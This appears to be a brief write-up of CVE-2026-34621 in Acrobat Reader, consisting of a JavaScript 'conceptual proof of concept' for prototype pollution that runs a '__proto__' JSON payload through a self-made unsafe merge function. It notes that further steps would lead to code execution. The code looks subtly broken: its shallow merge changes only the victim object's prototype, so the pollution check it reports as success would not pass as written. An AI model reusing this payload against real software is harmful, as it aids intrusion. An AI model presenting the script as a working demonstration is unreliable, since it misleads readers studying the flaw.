CVE-2026-34621 Acrobat Reader 原型污染代码执行漏洞

/** * Conceptual Proof of Concept (PoC) for CVE-2026-34621 * Intended for educational purposes and vulnerability analysis. * * Description: This script demonstrates how a Prototype Pollution * vulnerability can be triggered within a JavaScript environment * similar to that used in Adobe Acrobat Reader. */ function triggerPrototypePollution() { // 1. Simulate a vulnerable object manipulation function (e.g., a merge utility) // In the real vulnerability, this might be an internal Acrobat API. function vulnerableMerge(target, source) { for (const key in source) { // Vulnerability: lack of key validation for __proto__ or constructor target[key] = source[key]; } return target; } // 2. Craft the malicious payload to pollute the prototype // This payload attempts to add a 'maliciousProperty' to Object.prototype const maliciousPayload = JSON.parse('{"__proto__": {"maliciousProperty": "exploited"}}'); // 3. Trigger the vulnerable function with an empty target const victimObject = {}; vulnerableMerge(victimObject, maliciousPayload); // 4. Verification: Check if the pollution affected all objects const testObject = {}; if (testObject.maliciousProperty === "exploited") { app.alert("PoC Success: Prototype polluted!"); // At this stage in a real exploit, further actions would be taken // to achieve arbitrary code execution (RCE). } else { app.alert("PoC Failed: Prototype not polluted."); } } // Execute the PoC triggerPrototypePollution();